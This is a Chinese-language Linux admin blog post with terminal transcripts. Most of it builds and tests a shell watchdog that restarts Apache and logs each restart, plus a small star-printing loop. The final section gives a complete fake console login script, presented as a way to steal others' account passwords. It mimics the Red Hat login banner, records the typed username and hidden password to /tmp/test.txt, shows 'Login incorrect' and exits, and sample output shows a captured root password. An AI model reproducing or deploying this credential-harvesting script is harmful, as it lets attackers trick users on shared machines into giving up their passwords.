apache服务监控脚本-----自动重启apache[root@localhostshell]viapache_monitorsh!binbashwhile[1]dowgethttp:127001ahtml>devnull2>&1if
apache服务监控脚本-----自动重启apache
[root@localhost shell]# vi apache_monitor.sh
#!/bin/bash
while [ 1 ]
do
wget http://127.0.0.1/a.html > /dev/null 2>&1
if [ $? -ne 0 ]
then
service apache restart >/dev/null 2>&1
else
wt=`cat a.html`
if [ $wt != 'OK' ]
then
service apache restart > /dev/null 2>&1
fi
fi
sleep 2
done
[root@localhost shell]# cat /www/a.html
OK
[root@localhost ~]# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 32105 root 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32109 daemon 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32111 daemon 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32113 daemon 3u IPv4 409340 TCP *:http (LISTEN)
[root@localhost ~]# killall httpd
[root@localhost ~]# lsof -i:80
[root@localhost ~]# lsof -i:80 在我杀死httpd进程的大概一两秒时间内,apache服务没有起来,但是很快就可以了,
如果是在实际生产中,可以把脚本中的sleep时间改成1.
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)
[root@localhost ~]# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)
httpd 623 daemon 3u IPv4 411612 TCP *:http (LISTEN)
httpd 625 daemon 3u IPv4 411612 TCP *:http (LISTEN)
httpd 627 daemon 3u IPv4 411612 TCP *:http (LISTEN)
[root@localhost ~]# cd /shell/
[root@localhost shell]# ls
access.log a.html.176 a.html.254 a.html.332 a.html.410
a.html a.html.177 a.html.255 a.html.333 a.html.411
a.html.1 a.html.178 a.html.256 a.html.334 a.html.412
a.html.10 a.html.179 a.html.257 a.html.335 a.html.413
a.html.100 a.html.18 a.html.258 a.html.336 a.html.414
a.html.101 a.html.180 a.html.259 a.html.337 a.html.415
a.html.102 a.html.181 a.html.26 a.html.338 a.html.416
a.html.103 a.html.182 a.html.260 a.html.339 a.html.417
a.html.104 a.html.183 a.html.261 a.html.34 a.html.418
a.html.105 a.html.184 a.html.262 a.html.340 a.html.419
a.html.106 a.html.………………
我擦,发现爆表了,忘记了,脚本还没有完善,需要把这东西全干掉
而且我还想要记录apache的重启时间和次数,所以还需要更改脚本
#!/bin/bash
while [ 1 ]
do
wget http://127.0.0.1/a.html > /dev/null 2>&1
if [ $? -ne 0 ]
then
service apache restart >/dev/null 2>&1
echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
else
wt=`cat a.html`
if [ $wt != 'OK' ]
then
service apache restart > /dev/null 2>&1
echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
fi
fi
rm -rf a.html
sleep 2
done
然后我开始做测试
[root@localhost shell]# cat times.txt
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt
[root@localhost shell]# cat times.txt
apache restart at 13-10-15 17:47:27
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
然后我去改a.html的内容
[root@localhost www]# cat a.html
OKiii ----------内容不是OK后,脚本两秒钟自动重新
下载一次
[root@localhost shell]# tail -f times.txt
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
apache restart at 13-10-15 17:48:18
apache restart at 13-10-15 17:48:20
apache restart at 13-10-15 17:48:22
apache restart at 13-10-15 17:48:24
apache restart at 13-10-15 17:48:26
apache restart at 13-10-15 17:48:28
apache restart at 13-10-15 17:48:30
apache restart at 13-10-15 17:48:32
apache restart at 13-10-15 17:48:34
apache restart at 13-10-15 17:48:37
apache restart at 13-10-15 17:48:39
apache restart at 13-10-15 17:48:41
apache restart at 13-10-15 17:48:43
apache restart at 13-10-15 17:48:45
apache restart at 13-10-15 17:48:47
apache restart at 13-10-15 17:48:49
apache restart at 13-10-15 17:48:51
[root@localhost shell]#
当我改回来后,脚本停止日志输出,想要知道apache重启了多少次
[root@localhost shell]# wc -l times.txt | cut -d" " -f1
19
####################################################
顺便写了几个简单的脚本,觉得很有意思
#!/bin/bash
a=1
b=5
while [ $a -le $b ]
do
c=1
while [ $c -le $a ]
do
echo -n \*
let c++
done
let a++
echo
done
[root@localhost shell]# ./1.sh
*
**
***
****
*****
写一个简单的脚本,来套取别人的账号密码
#!/bin/bash
clear
cat /etc/issue| head -1
echo -e `uname -r` "on an" `uname -m`
echo -e -n `hostname | cut -d . -f1` "login:"
read aa
echo "passwd:"
read -s bb
echo -n "username:$aa password:$bb" >/tmp/test.txt
sleep 3
echo -e "\n"
echo "Login incorrect"
pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`
kill -9 $pid
运行效果如下
Red Hat Enterprise
Linux Server release 5.5 (Tikanga)
2.6.18-194.el5 on an i686
localhost login:
[root@localhost ~]# cat /tmp/test.txt
username:root password:asdf